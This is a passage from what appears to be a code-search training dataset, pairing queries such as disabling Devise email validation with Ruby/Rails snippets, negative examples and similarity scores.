facebook_username : username\n users = {:email => email, :account_id => id}\n ::Facebooker::User.register([users]) unless Rails.env.test?\n self.facebook_hash = ::Facebooker::User.hash_email(email)\n end\n end", "def update\n redirect_path = @admin_profile.is_major ? admin_profiles_url(major:true) : admin_profiles_url\n if @admin_profile.update(admin_profile_params)\n redirect_to session['previous_url'] || redirect_path, notice: \"#{@name_alias} è stato aggiornato con successo.\"\n else\n if @admin_profile.politic_group_id\n params[:politic_group_id] = @admin_profile.politic_group_id\n render :edit\n else\n render :edit\n end\n end\n end", "def oauth\n profile = OAuthProfile.from_omniauth(env['omniauth.auth'])\n # TODO check for error\n # temp_password = SecureRandom.hex\n if !profile.user\n oauth_custom_params = request.env[\"omniauth.params\"] || {}\n session[:oauth_reason] = oauth_custom_params.fetch(\"dbdesigner_action\", \"\")\n session[:profile_id] = profile.id\n redirect_to new_registration_path\n # profile.user.create({\n # username: profile.username,\n # email: profile.email,\n # password: temp_password,\n # password_confirmation: temp_password\n # })\n else\n session[:user_id] = profile.user.id\n profile.user.record_login(request: request, oauth_profile: profile)\n redirect_to designer_path\n end\n end", "def save\r\n SystemConfig.set :auth, to_h, true\r\n end", "def touch_user_data\n user.update user_data_updated_at: Time.zone.now if user.present?\n end", "def update_profile\n self.resource = resource_class.to_adapter.get!(send(:\"current_#{resource_name}\").to_key)\n prev_unconfirmed_email = resource.unconfirmed_email if resource.respond_to?(:unconfirmed_email)\n\n resource.avatar.attach(account_update_params[:avatar]) if account_update_params[:avatar]\n resource_updated = resource.update_without_password(account_update_params)\n yield resource if block_given?\n\n if resource_updated\n bypass_sign_in resource, scope: resource_name\n render json: resource, status: 200\n else\n clean_up_passwords resource\n set_minimum_password_length\n respond_with resource\n end \n end", "def sync=\n end", "def new_personal_profile_update\n profile_type = UserType.find_user_type(2).first\n @user.user_type = profile_type.user_type\n params[:user][:user_type][email protected]_type\n params[:user].delete(:password) if params[:user][:password].blank?\n params[:user].delete(:password_confirmation) if params[:user][:password].blank? and params[:user][:password_confirmation].blank?\n if @user.update_attributes(params[:user])\n flash[:notice] = \"User was successfully updated.\"\n redirect_to dashboards_path\n else\n render :action => 'edit'\n end\n end", "def update_user_md5_extended_details\n\n @old_md5_ethereum_address = md5_user_extended_detail.ethereum_address\n md5_user_extended_detail.ethereum_address = Md5UserExtendedDetail.using_client_shard(client: @client).\n get_hashed_value(@new_ethereum_address)\n md5_user_extended_detail.save!\n\n success\n end", "def update_user\n @user = @user || student.user || student.build_user\n @user.update_attribute(:login, loginname)\n @user.roles << Role.find_by_name('student') unless @user.has_role?(\"student\")\n self.update_attribute(:status, 'S')\n end", "def update\n old_role = resource.role\n ActiveRecord::Base.transaction do\n super\n if params[:picture].present?\n @user = User.find resource.id\n picture_destroy(dir: ENV['PROFILE_PICTURE_DIR'], picture: @user.picture)\n @user.picture = picture_up(file: params[:picture], picture_id: @user.id, name: \"profile\", dir: ENV['PROFILE_PICTURE_DIR'])\n @user.save\n end\n #ユーザータイプをユーザーからスタイリストに変更したら、スタイリスト用の子テーブルを追加\n if old_role == 'user' && resource.role == 'stylist'\n Stylist.create(user_id: resource.id,\n shop_name: params[:shop_name],\n shop_address: params[:shop_address],\n shop_phone_number: params[:shop_phone_number])\n end\n end\n end", "def set_user; end", "def sync_username\n if self.username.to_s.blank? and !self.email.to_s.blank?\n self.username = self.email\n end\n end", "def set_users_profile\n @user = User.find(current_user)\n end", "def save_old_profile\n @_old_profile_id = profile_id_change ? profile_id_change.first : false\n true\n end" ]
[ "0.625231", "0.6135153", "0.60492235", "0.5990611", "0.58137983", "0.56818694", "0.5650935", "0.5623716", "0.5601135", "0.55996996", "0.5578534", "0.5545023", "0.5543798", "0.5512627", "0.55116284", "0.5500605", "0.54913145", "0.54627717", "0.5453735", "0.54417515", "0.5416147", "0.5414534", "0.538917", "0.53855985", "0.53820914", "0.53785914", "0.53679603", "0.53654355", "0.53408194", "0.53303224", "0.5324668", "0.53112215", "0.5311126", "0.53075224", "0.53037053", "0.5303079", "0.52969575", "0.52949107", "0.52922535", "0.528573", "0.52848995", "0.5284477", "0.52695113", "0.52549046", "0.52544004", "0.5251379", "0.52476805", "0.5247104", "0.5245299", "0.52427423", "0.52406675", "0.52400625", "0.52397454", "0.5239431", "0.52373874", "0.5222821", "0.5214727", "0.5213276", "0.5208113", "0.5207714", "0.52067006", "0.5203293", "0.51999134", "0.5179951", "0.5179092", "0.5173742", "0.5164023", "0.51636857", "0.51544523", "0.51535136", "0.5149513", "0.51401705", "0.5139215", "0.51358116", "0.5133832", "0.5131257", "0.5129166", "0.51176417", "0.5110271", "0.5104286", "0.5101747", "0.51015025", "0.51002425", "0.50968045", "0.50920653", "0.5091542", "0.5091438", "0.5082143", "0.50814366", "0.50798327", "0.50797695", "0.5078992", "0.5075193", "0.5068809", "0.5068494", "0.50675356", "0.50635016", "0.5062519", "0.5054914", "0.50519395" ]
0.7797147
0
disable devise's uniqueness & presence validation for email
def email_required? false end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def email_required?\n false\n end", "def email_required?\n false\n end", "def email_required?\n false\n end", "def email_required? \n false \n end", "def email_required?; false end", "def email_is_unique\n active_users = User.active.where(:email => self.email)\n active_users = active_users.exclude(self) unless self.new_record?\n errors.add :email, 'ya existe' if active_users.count(:id) > 0\n end", "def email_required?\r\n false\r\n end", "def email_required?\n false\n end", "def email_required?\n false\n end", "def email_required?\n false\n end", "def email_required?\n false\n end", "def email_required?\n \tfalse\n end", "def email_required?\n true\n end", "def email_required?\n return false\n end", "def email_must_be_unique\n if ((Organization.where(['email = ? AND id <> ?', self.email, self.id]).count > 0) or\n (Volunteer.where(['email = ?', self.email]).count > 0))\n\n errors.add(:email, \"is already taken\")\n end\n end", "def unique_email_user\n if self.class.where(email: email).count > 0\n errors.add(:email, :taken)\n end\n end", "def email_required?\n\t\tfalse\n\tend", "def email_required?\n super && facebook_uid.blank? && twitter_uid.blank? && google_uid.blank?\n end", "def email_uniqueness_required?\n email_changed? && (@bypass_postpone || new_record? || !Authentication.reserved_device_email?(email_was))\n end", "def email_required?\n super && twitter_uid.blank? || (!twitter_uid.blank? && persisted?)\n end", "def validate_email\n return if self.email.blank?\n errors.add(:email, :not_a_valid_email) if !Valid.email?(self.email)\n end", "def validate_email\n if User.find_by(email: params[:email]).present?\n render_error :unprocessable_entity, I18n.t('common.messages.registrations.duplicate_email')\n else\n render_response\n end\n end", "def unique_email\n\t\treturn if email.blank?\n\t\tif Email.where(email: email).count > 0\n\t\t\terrors.add(:email, 'has already been taken')\n\t\tend\n\tend", "def validates_email_not_free\n return if !validate_attributes or email.blank?\n FREE_EMAIL_DOMAINS.each do |domain|\n if email =~ /#{domain}/\n errors.add('email',\"must not be a free account.\")\n end\n end\n end", "def validates_email_uniqueness\n if validate_attributes == true\n if email and (Contact.find_by_email(email) or Lead.find(:first, :conditions => [\"email = ? and record_type_id = ?\",email,MOLTEN_REQUEST_RECORD_TYPE]))\n errors.add('email', \"A contact already exists with this email address.\")\n end\n end\n end", "def validate_uniqueness_of_email\n if Person.exists?(:email=>self.email,:user_id => self.user_id)\n self.errors.add(:email, :taken)\n return false\n else\n return true\n end\n end", "def validate_email\n if !self.email.match(/\\A#{ApplicationHelper.form_field_attr('email')[:regex]}\\Z/i)\n self.errors.add(:email, \"#{ApplicationHelper.form_field_attr('email')[:generic]}\")\n end\n end", "def email_required?\n (authentications.empty?) && super\n end", "def validates_email\n self.type == 'email'\n end", "def email_required?\n super && provider.blank?\n end", "def email_required?\n super && provider.blank?\n end", "def validate_email_is_unique(email)\n return false unless email != nil\n return !User.email_exists?(email)\n end", "def do_not_email?\n false\n end", "def enable_email_verification?\n false\n end", "def validate_email_presence?\n MinimalistAuthentication.configuration.validate_email_presence && validate_email?\n end", "def email_validated?\n self.email_validation_key.blank?\n end", "def email_not_blank?\n return true unless self.email.blank?\n return false\n end", "def email_required?\n true unless provider?\n end", "def email_optional?\n false\n end", "def email_not_taken\n DanceStudio.all.each do |studio|\n errors.add(:email, 'is taken') if studio.email.downcase == email.downcase\n end\n end", "def email_valid?\n if self.class.exists?(email: self.email)\n false\n else\n true\n end\n end", "def devise(*modules)\n # hack to get around Neo4j's requirement to index before uniqueness validation\n index :email, :type => :exact if modules.include?(:validatable)\n super\n end", "def validate\n if User.find_by_email(new_email)\n errors.add(:new_email, \"has already been taken\")\n end\n end", "def validate_email\n\t\temail = params[:email]\n\t\t# valid if username doesn't exist already\n\t\tvalid = !User.pluck(:email).include?(email)\n\t\trespond_to do |format|\n\t\t\tformat.json {render :json => valid}\n\t\tend\n\tend", "def email_required?\n !fb_user?\n end", "def check_email\n self.email_address=~/^([^@\\s]+)@((?:[-a-z0-9]+\\.)+[a-z]{2,})$/i if email_address\n end", "def vaid_email?\n\t\tif email.match(FORBIDDEN_EMAILS)\n\t\t\terrors.add(:email,\"error! email has been restricted!\")\n\t\tend\t\t\n\tend", "def email_required?\n not password.nil?\n end", "def valid_email\n email_regex = !!(cas_email =~ /^[\\w+\\-.]+@[a-z\\d\\-]+[\\.[a-z\\d\\-]+]*\\.edu/i)\n errors.add :cas_email, I18n.t('users.valid_email') unless email_regex\n end", "def email_validate\n if !normalized_email.include? '@'\n puts \"Invalid e-mail address entered #{normalized_email}\"\n else\n true\n end\n end", "def validate_email_field(value = nil)\n config(:validate_email_field, value, true)\n end", "def email_valid(email)\n if !email.empty?\n self.email = email\n return true\n end\n end", "def create_email_no_domain\n self.email_no_domain = self.email.split('@').first if self.email.present? && self.email_no_domain.nil?\n return true\n end", "def will_save_change_to_email?\n false\n end", "def will_save_change_to_email?\n false\n end", "def will_save_change_to_email?\n false\n end", "def email_validator\n [\n ActiveModel::Validations::FormatValidator,\n {\n :allow_blank => true,\n :with => /\\A[^@\\s]+@[^@\\s]+\\.(\\S+)\\z/,\n :message => :invalid_email\n }\n ]\n end", "def email_changed?\n false\n end", "def email_changed?\n false\n end", "def check_email\r\n \temail = Referral.where(:email=>self.email, :referrer=>self.referrer)\r\n \t if email.present?\r\n\t \traise \"You are already registered..!!\"\r\n\t end\r\n end", "def valid_email\n unless self.email =~ /\\w+@\\w+\\.\\w{2,}/\n errors.add(:email, \"is not valid.\")\n end\n end", "def auth_has_email_without_names?(info)\n return false unless info['email']\n return true if auth_info_has_any_name?(info) == false\n end", "def validate_email?\n MinimalistAuthentication.configuration.validate_email && active?\n end", "def email_verified?\n self.email && self.email !~ TEMP_EMAIL_REGEX\n end", "def available_email_login?\n true\nend", "def leave_blank_email\n fill_in('email', :with => '')\nend", "def email_required?\n user_tokens.empty?\n end", "def email_verified?\n self.email && self.email !~ TEMP_EMAIL_REGEX\n end", "def unset_primary_email\n return true unless default_email_record\n\n default_email_record.update_attributes(primary: false)\n end", "def unset_primary_email\n return true unless default_email_record\n\n default_email_record.update_attributes(primary: false)\n end", "def check_email\n @user=User.where('email=?',params[:email])\n @user=[] if user_signed_in? && @user && @user.first==current_user # this means they are editing their email address and its themselves, that is ok\n end" ]
[ "0.7282089", "0.72735167", "0.71814597", "0.7152297", "0.71453017", "0.71314967", "0.71226764", "0.70702755", "0.70702755", "0.70702755", "0.70702755", "0.70640266", "0.69986194", "0.69717205", "0.6894483", "0.68728864", "0.6757786", "0.6733534", "0.67181545", "0.67152596", "0.66978556", "0.66967726", "0.6693737", "0.66619754", "0.66379106", "0.66144943", "0.65661806", "0.65657866", "0.6506252", "0.6501645", "0.6501645", "0.6491696", "0.6433705", "0.64244723", "0.6398922", "0.6382354", "0.6374122", "0.63422024", "0.6328645", "0.63208026", "0.6302312", "0.6278377", "0.62600964", "0.62310165", "0.6223705", "0.6211145", "0.61982644", "0.61942464", "0.61922556", "0.6175914", "0.6133488", "0.61146945", "0.6100806", "0.60966945", "0.60966945", "0.60966945", "0.60954005", "0.6090059", "0.6090059", "0.60444987", "0.6041206", "0.60256195", "0.6009855", "0.6006833", "0.6003653", "0.6001061", "0.5997879", "0.598075", "0.59731865", "0.59731865", "0.59565985" ]
0.7298142
22
If a file was decorated or overridden and removed, this is the biggest pain point.
def worst_files @worst_files ||= CATEGORIES.inject({}) do |memo, category| memo[category] = customized_files_now_missing .select { |f| f.include?(category) } .count memo end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def obsolete_files; end", "def ignored_file?(path); end", "def overwrite?; end", "def replaced_files; end", "def modified_files; end", "def check_file\n super\n end", "def roll_file?\n raise NotImplementedError\n end", "def keep_files; end", "def maybe_hidden_file?(path); end", "def maybe_hidden_file?(path); end", "def existing_files; end", "def on_other_file; end", "def hook_add_files\n @flavor.class.before_add_files do |files, resource_action|\n if :create == resource_action && fail_on_clobber\n files.each do |file|\n if File.exist?(destination_path(file))\n fail \"tried to overwrite file #{file}; pass '-a clobber' to override\"\n end\n end\n end\n end\n end", "def remove_check_file(opts)\n opts = check_params(opts,[:file_info])\n super(opts)\n end", "def file_utils; end", "def filter_nonexistent(modified_files); end", "def least_covered_file; end", "def guess(file)\n super(file)\n end", "def remove_file!\n begin\n super\n rescue Fog::Storage::Rackspace::NotFound\n self.file = nil\n self.send(:write_attribute, :file, nil)\n end\n end", "def ignored_files=(_arg0); end", "def do_not_overwrite!\n @overwrite = false\n end", "def empty_override_methods(file, filelines)\n filelines.each_with_index do |line, index|\n next unless line.include?('override') && line.include?('func') && filelines[index + 1].include?('super') && filelines[index + 2].include?('}') && !filelines[index + 2].include?('{')\n\n danger_file.warn('Override methods which only call super can be removed', file: file, line: index + 3)\n end\n end", "def handle_silent_modification_failure?\n false\n end", "def file?() end", "def keep_file_regex; end", "def added_or_modified?(file)\n added?(file) || modified?(file)\n end", "def c_compliant?(file)\n corrected = \"#{file}_corrected\"\n\n status = system(\"indent #{file} -o #{corrected}\")\n return nil if status.nil?\n\n return false unless FileUtils.compare_file(file, corrected)\n\n return true\nensure\n FileUtils.rm_f(corrected)\nend", "def detect_catchall(d)\n d[:type] = :file\n d[:decl] = \"\"\n end", "def applicable_files; end", "def original_filename; end", "def image_file_changed?\n raise 'please override image_file_changed?'\n end", "def file?\n original_filename.present?\n end", "def getIgnoreFile()\n return @fileAccess.getIgnoreFile()\n end", "def wrong; require 'unknown_file'; end", "def file() nil; end", "def insync?(is)\n if resource.should_be_file?\n return false if is == :absent\n else\n return true\n end\n\n return true if ! @resource.replace?\n\n result = super\n\n if ! result and Puppet[:show_diff]\n write_temporarily do |path|\n notice \"\\n\" + diff(@resource[:path], path)\n end\n end\n result\n end", "def clean_references\n s3_file_processor.clean_local_file if s3_file_processor.file_path\n end", "def updated_source_file?; end", "def filter_invalid_files\n real_files=[]\n @files.each do |file|\n if @edit_in_place\n if File.writable?(file)\n real_files << file \n else\n puts \"ERROR: File #{file} is not writable, ignoring.\"\n end\n else\n if File.readable?(file)\n real_files << file \n else\n puts \"ERROR: File #{file} is not readable, ignoring.\"\n end\n end\n end\n @files=real_files\n end", "def new_file?\n\t\t@filelineno == 1\n\tend", "def finished_file(file, lints)\n super\n\n if lints.any?\n lints.each do |lint|\n linters_with_lints[lint.linter.name] |= [lint.filename]\n linters_lint_count[lint.linter.name] += 1\n end\n end\n end", "def file_set?(resource)\n resource.respond_to?(:file_metadata) && !resource.respond_to?(:member_ids)\n end", "def file_different?\n if @name && File.exist?( @name )\n Digest::MD5.hexdigest(\n @lines.join( \"\\n\" )\n ) != Digest::MD5.hexdigest(\n File.read( @name )\n )\n else\n true\n end\n end", "def remove(filename); end", "def relevant_file?(file)\n file.end_with?('_spec.rb')\n end", "def process(orig_file)\n end", "def method_missing(sym, *a, &b) # :nodoc:\n if REMOVED_METHODS.include?(sym)\n removed_method_calls << sym\n return\n end\n\n if @specification_version > CURRENT_SPECIFICATION_VERSION and\n sym.to_s.end_with?(\"=\")\n warn \"ignoring #{sym} loading #{full_name}\" if $DEBUG\n else\n super\n end\n end", "def file_watcher; end", "def file_watcher; end", "def ignored?(fn)\n @ignored.any? { |spec| File.fnmatch spec, fn }\n end", "def remove(filename)\n not_implemented('remove')\n end", "def remove_file src\n src = src.src if src.respond_to? :src # if passed an OpenStruct e.g.\n trace { \"remove_file: removing file '#{src}' [nuget model: package]\" }\n @files = @files.reject { |f| f.src == src }\n end", "def before_flush # :nodoc:\n if @min_roll_check <= 0.0 || Time.now.to_f >= @next_stat_check\n @next_stat_check += @min_roll_check\n path_inode = begin\n File.lstat(path).ino\n rescue\n nil\n end\n if path_inode != @file_inode\n @file_inode = path_inode\n reopen_file\n elsif roll_file?\n roll_file!\n end\n end\n end", "def change?(file)\n @file != file\n end", "def promote_file(no_raise: true)\n __debug_items(binding)\n promote_cached_file(no_raise: no_raise)\n end", "def original_filename\n fake_file_name || super\n end", "def deco_file; end", "def modified?; end", "def unless_has_method(filepath, name)\n unless File.read(filepath) =~ /^\\s*def #{name}(\\(|\\s|\\n)/\n yield\n end\n end", "def skip_clean? path\n true\n end", "def internal_file_attributes; end", "def files_with_duplicate_imports\n files.select(&:has_duplicate_import?)\n end", "def destroy(file=@file)\n if self.legacy?\n return unless @password.send(:rm_file, self) \n end\n super\n end", "def add_files?\n false\n end", "def ignore_interference_by_writer; end", "def ignore_disk\n super\n end", "def file=(_); end", "def removed?\n !File.exist?(path)\n end", "def original_file # Accessor for probably protected value original_filename\r\n original_filename\r\n end", "def ignored?(package_name)\n raise RuntimeError, \"#{self.class} needs to overwrite ignored?\"\n end", "def file?(path)\n # :nocov:\n false\n # :nocov:\n end", "def file?\n !!@file ||= false\n end", "def run_on_removal(paths)\n super\n end", "def from_old_gem?(path)\n path =~ CHEF_FILE_IN_GEM && path !~ CURRENT_CHEF_GEM\n end", "def check_file_context(target)\n file = target.eval('__FILE__')\n file == Pry.eval_path || (file !~ /(\\(.*\\))|<.*>/ && file != '' && file != '-e')\n end", "def check\n super\n uncommitted = Perforce.uncommitted_files\n fail \"Uncommitted files violate the First Principle Of Release!\\n#{uncommitted.join(\"\\n\")}\" unless uncommitted.empty?\n end", "def modified?(path); end", "def renamed?\n raise NotImplementedError.new(\"renamed() must be implemented by subclasses of AbstractVersionedFile.\")\n end", "def copy(io, context)\n super\n if io.respond_to?(:path) && io.path && delete_raw? && context[:delete] != false\n begin\n File.delete(io.path)\n rescue Errno::ENOENT\n # file might already be deleted by the moving plugin\n end\n end\n end", "def removed?\n files.all? { |f| !File.exist?(f) }\n end", "def file_final_usage(file, filelines)\n is_multiline_comment = false\n filelines.each_with_index do |line, index|\n is_multiline_comment = true if line.include?('/**')\n is_multiline_comment = false if line.include?('*/')\n\n break if line.include?('danger:disable final_class') || is_multiline_comment\n next unless should_be_final_class_line?(line)\n\n danger_file.warn('Consider using final for this class or use a struct (final_class)', file: file, line: index + 1)\n end\n end", "def check_files(files)\r\n files_before = @file_info.keys\r\n used_files = {} \r\n files.each do |file|\r\n begin\r\n if @file_info[file]\r\n if @file_info[file].timestamp != File.mtime(file)\r\n @file_info[file].timestamp = File.mtime(file)\r\n digest = calc_digest(file)\r\n if @file_info[file].digest != digest\r\n @file_info[file].digest = digest \r\n @file_changed && @file_changed.call(file)\r\n end\r\n end\r\n else\r\n @file_info[file] = FileInfo.new\r\n @file_info[file].timestamp = File.mtime(file)\r\n @file_info[file].digest = calc_digest(file)\r\n @file_added && @file_added.call(file)\r\n end\r\n used_files[file] = true\r\n # protect against missing files\r\n rescue Errno::ENOENT\r\n # used_files is not set and @file_info will be removed below\r\n # notification hook hasn't been called yet since it comes after file accesses\r\n end\r\n end\r\n files_before.each do |file|\r\n if !used_files[file]\r\n @file_info.delete(file)\r\n @file_removed && @file_removed.call(file)\r\n end\r\n end\r\n end", "def excluded_file?(file_path)\n excluded_files.include? file_path\n end", "def obsolete_files\n out = (existing_files - new_files - new_dirs + replaced_files).to_a\n Jekyll::Hooks.trigger :clean, :on_obsolete, out\n out\n end", "def file?\n not identifier.blank?\n end", "def excluded_files() = []", "def not_image?(new_file)\n !self.file.content_type.include? 'image'\n end", "def fremover(fname, sname)\n if fexistrx fname, sname\n if eval \"$#{fname}['#{sname},facets'].include? 'ifremover'\"\n eval \"eval $#{fname}['#{sname},ifremover']\"\n end\n eval \"${fname}.delete('#{sname},ref')\"\n eval \"${fname}['#{sname},facets'].delete('ref')\"\n return true\n else\n return false\n end\nend", "def meta_file_changed?(opts = {})\n contains_a_dsl_filename?(self[:files_modified], opts) ||\n contains_a_dsl_filename?(self[:files_added], opts)\n end", "def virtual_file?(name); end", "def after_safe_load(file)\n end", "def changed?\n @changed ||= sorted_file != IO.read(file)\n end", "def _has_untested_code?(change)\n # binding.pry if change['id'] == 132087\n change['files'] = change['files'].select do |file|\n _should_keep_file?(file['path'])\n end\n return false unless change['files'].count.positive?\n\n change['file_count'] = change['files'].count\n change['files'].none? { |file| file['path'] =~ /test(s?)/i }\n end", "def ignored?(file)\n return true if File.extname(file) == \".tmp\"\n return true if file.match(/___$/)\n return true if File.basename(file) == \".DS_Store\"\n return false\n end", "def modified_files(options); end", "def modified_files(options); end", "def keep_files=(_arg0); end", "def updated_source_file; end", "def remove_files_we_dont_need\n say 'Remove files we don\\'t need'\n build :remove_public_index\n build :remove_readme_rdoc\n end", "def remove_duplicate_imports\n duplicate_imports_mapping = duplicate_imports_info\n duplicate_imports = duplicate_imports_mapping.keys\n file_lines = IO.readlines(@path, chomp: true).select do |line|\n if duplicate_imports.include? line\n if duplicate_imports_mapping[line] <= 1\n line\n else\n duplicate_imports_mapping[line] = duplicate_imports_mapping[line] - 1\n nil\n end\n else\n line\n end\n end\n File.open(@path, 'w') do |file|\n file.puts file_lines\n end\n end", "def include_hidden!\n @flags |= File::FNM_DOTMATCH\n end" ]
[ "0.6687803", "0.65863496", "0.6076079", "0.5998135", "0.599066", "0.5925533", "0.58682597", "0.5862214", "0.5829086", "0.5829086", "0.58250105", "0.5812943", "0.578203", "0.5764677", "0.57571405", "0.57354474", "0.5727505", "0.5714098", "0.56987655", "0.5675053", "0.5624577", "0.5618181", "0.5576481", "0.5545598", "0.55389196", "0.5530436", "0.5521696", "0.5505019", "0.55046594", "0.54938143", "0.54937965", "0.5483777", "0.5460122", "0.54155016", "0.5413344", "0.54064435", "0.5404125", "0.5403319", "0.54029095", "0.53942764", "0.53744173", "0.5372182", "0.5359269", "0.53440094", "0.5335941", "0.53320616", "0.5325027", "0.5321609", "0.5321609", "0.53111774", "0.529414", "0.5290523", "0.5289107", "0.52815884", "0.528109", "0.5277024", "0.52721286", "0.52716213", "0.52363354", "0.5235484", "0.5232398", "0.52291816", "0.5226127", "0.5225893", "0.5225728", "0.5217643", "0.5215726", "0.52083915", "0.5204726", "0.52025414", "0.5200899", "0.5195691", "0.51953626", "0.5195281", "0.51942676", "0.5192152", "0.5186513", "0.5185553", "0.51809555", "0.5175809", "0.5172357", "0.51718396", "0.5167884", "0.5167835", "0.5162025", "0.5157125", "0.51570576", "0.51511276", "0.51494646", "0.51485664", "0.5147898", "0.51467514", "0.51385576", "0.51341677", "0.51338786", "0.51338786", "0.5133467", "0.51231617", "0.5122041", "0.5118972", "0.5117226" ]
0.0
-1
Service Deliver by correct policy
def deliver self.class.deliver(self.id) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def deliver\n return if sent?\n\n begin\n provider = \"#{service.capitalize}Service\".constantize\n provider.new.send(receiver, message)\n\n update_attributes(sent: true)\n rescue NameError\n false\n end\n end", "def postpone_service(user, service)\n @user = user\n notification = Notification.find_by_name(\"Postponed service\")\n vehicle = service.fleet\n setting = vehicle.truck_fleet.setting.email_notifications.find_by_notification_id(notification.id)\n emails = self.find_emails(user, vehicle, setting)\n if emails.present?\n mail :to => emails,\n :subject => \"Service postponed! For #{vehicle.fleet_number}\"\n end\n end", "def sell_pending\n end", "def confirm\n if @account.offload_billing?\n @current_subscription = @account.stripe_subscription.current_subscription\n end\n\n case @service\n when 'vps', 'vps_with_os'\n plan = params[:plan]\n plan_struct = VirtualMachine.plans['vps'][plan]\n\n @billing_amount = plan_struct['mrc']\n @code = 'VPS'\n @code_obj = ServiceCode.find_by(name: @code)\n\n @service_title = if @service == 'vps_with_os'\n VirtualMachine.os_display_name_from_code($CLOUD_OS, params[:os]) + ' VPS'\n else\n 'Generic VM'\n end\n\n @billing_amount_pro_rated = pro_rated_total(@billing_amount)\n\n @stripe_price_id = @account.offload_billing? ? $STRIPE_PRODUCTS['vps'][plan] : \"\"\n\n @pending_service = @account.services.create(\n pending: true,\n service_code: @code_obj,\n title: @service_title,\n billing_interval: 1,\n billing_amount: @billing_amount,\n stripe_price_id: @stripe_price_id\n )\n\n unless @account.offload_billing?\n @pending_invoice = @account.create_pro_rated_invoice!(\n @code, @service_title, @billing_amount_pro_rated, pending: true\n )\n end\n when 'metal'\n raise\n when 'thunder'\n raise\n when 'bgp'\n @billing_amount = 10.00\n @code = 'BANDWIDTH'\n @code_obj = ServiceCode.find_by(name: @code)\n @service_title = \"BGP Session (ASN #{params[:asn]})\"\n @billing_amount_pro_rated = pro_rated_total(@billing_amount)\n\n @stripe_price_id = @account.offload_billing? ? $STRIPE_PRODUCTS['bgp'] : \"\"\n\n @pending_service = @account.services.create(\n pending: true,\n service_code: @code_obj,\n title: @service_title,\n billing_interval: 1,\n billing_amount: @billing_amount,\n stripe_price_id: @stripe_price_id,\n description: \"Pending provisioning by ARP Networks staff.\\n\\nWe thank you for your patience!\"\n )\n\n unless @account.offload_billing?\n @pending_invoice = @account.create_pro_rated_invoice!(\n @code, @service_title, @billing_amount_pro_rated, pending: true\n )\n end\n when 'backup'\n raise\n end\n\n @services = [@pending_service].compact\n @invoices = [@pending_invoice].compact\n\n @enable_pending_view = true\n\n session[:service_to_enable] = @service\n session[:pending_service_ids] = @services.map(&:id)\n session[:pending_invoice_ids] = @invoices.map(&:id)\n end", "def service_request(service); end", "def service\n softlayer_client[:Network_Message_Delivery].object_with_id(self.id)\n end", "def policy; end", "def policy\n ensure_service!\n grpc = service.get_topic_policy name\n policy = Policy.from_grpc grpc\n return policy unless block_given?\n yield policy\n update_policy policy\n end", "def delivery_service\n super || available_delivery_services.first\n end", "def service(nickname, reserved, distribution, type)\n end", "def deliver\n Outbound.deliver(delivery_options.merge(:conditions => ['sms_service_provider_id = ?', self.provider_id]))\n end", "def deliver!(message)\n delivery_system = get_value_from(message[\"delivery_system\"])\n\n if delivery_system.nil?\n fail Error::WrongDeliverySystem, \"Delivery system is missing.\"\n end\n\n case delivery_system\n when \"ses\"\n DeliverySystem::AwsSes.new(settings).deliver(message)\n when \"sparkpost\"\n DeliverySystem::SparkPost.new(settings).deliver(message)\n else\n fail Error::WrongDeliverySystem,\n \"The given delivery system is not supported.\"\n end\n end", "def deliver\r\n raise NotImplementedError.new(\"#{self.class.name}#deliver is not implemented.\")\r\n end", "def after_deliver; end", "def deliver!\n self.do_deliver\n end", "def do_service_action(action)\n validate :service, String\n\n service = request[:service]\n\n begin\n Log.instance.debug(\"Doing #{action} for service #{service}\")\n\n svc = get_puppet(service)\n\n unless action == \"status\"\n svc.send action\n sleep 0.5\n end\n\n reply[\"status\"] = svc.status.to_s\n rescue Exception => e\n reply.fail \"#{e}\"\n end\n end", "def do_service_action(action)\n validate :service, String\n\n service = request[:service]\n\n begin\n Log.instance.debug(\"Doing #{action} for service #{service}\")\n\n svc = get_puppet(service)\n\n unless action == \"status\"\n svc.send action\n sleep 0.5\n end\n\n reply[\"status\"] = svc.status.to_s\n rescue Exception => e\n reply.fail \"#{e}\"\n end\n end", "def create_policy(filtertype)\n\n # Initialize vars, sets, string, hashes, etc\n filter = String.new\n fwconfig = String.new\n result = String.new\n service_negate = String.new\n newaddresses = Set.new\n\n case filtertype\n when :ipv4_input_filter\n fwconfig += \"#### Firewall Interface Policy ####\\n\"\n fwconfig += \"config firewall interface-policy\\n\"\n h_filters = $h_filters\n when :ipv6_input_filter\n fwconfig += \"#### Firewall IPv6 Interface Policy ####\\n\"\n fwconfig += \"config firewall interface-policy6\\n\"\n h_filters = $h_filters6\n when :ipv4_output_filter\n fwconfig += \"#### Firewall Policy ####\\n\"\n fwconfig += \"config firewall policy\\n\"\n h_filters = $h_filters\n when :ipv6_output_filter\n fwconfig += \"#### Firewall IPv6 Policy ####\\n\"\n fwconfig += \"config firewall policy6\\n\"\n h_filters = $h_filters6\n else\n p \"create_fg_intf_policy_rules: filtertype not supported - #{filtertype}\" if $opts[:verbose]\n return\n end\n\n # For each interface/sub-interface, process each unique filter matching the passed filtertype option\n # We are iterating through each used filter and checking the terms for compatibility. If compatible\n # then we will go ahead and process/convert to FG config.\n $h_interfaces.each_key do |int|\n $h_interfaces[int].each_key do |sub|\n if ($opts[:interfacemapout] && $h_ints_map_out.has_key?(\"#{int}-#{sub}\")) || !$opts[:interfacemapout]\n filter = $h_interfaces[int][sub][filtertype]\n\n ruletype = '' # for supportability checks\n filterref = '' # for referenced filters (aka linked filters)\n\n ### if interfacemapout option specified then we will change the dst interace to zone name supplied by file\n if $opts[:interfacemapout]\n interface = $h_ints_map_out[\"#{int}-#{sub}\"]\n else\n interface = \"#{int}-#{sub}\"\n end\n\n unless filter == 'nil' || filter == nil\n if h_filters.has_key?(filter)\n h_filters[filter].each_key do |term|\n\n # check to see if this policy is derived from dscp, forwarding-class, etc. if so, we will skip\n ruletype, filterref = check_rule_support_type(filter, term, h_filters)\n\n # Call action_rule_support_type which will call the right methods to build the fg config\n # based on the juniper filter/term detail, including handling nested filters/terms\n # will return the completed FG config for that filter/term. Also, if int2sub option is enabled\n # may return a list of subnets that need to be additionally created as address objects.\n newconfig, newaddobj = action_rule_support_type(ruletype,\\\n filterref,\\\n h_filters,\\\n filtertype,\\\n filter,\\\n term,\\\n interface,\\\n int,\\\n sub)\n\n fwconfig += 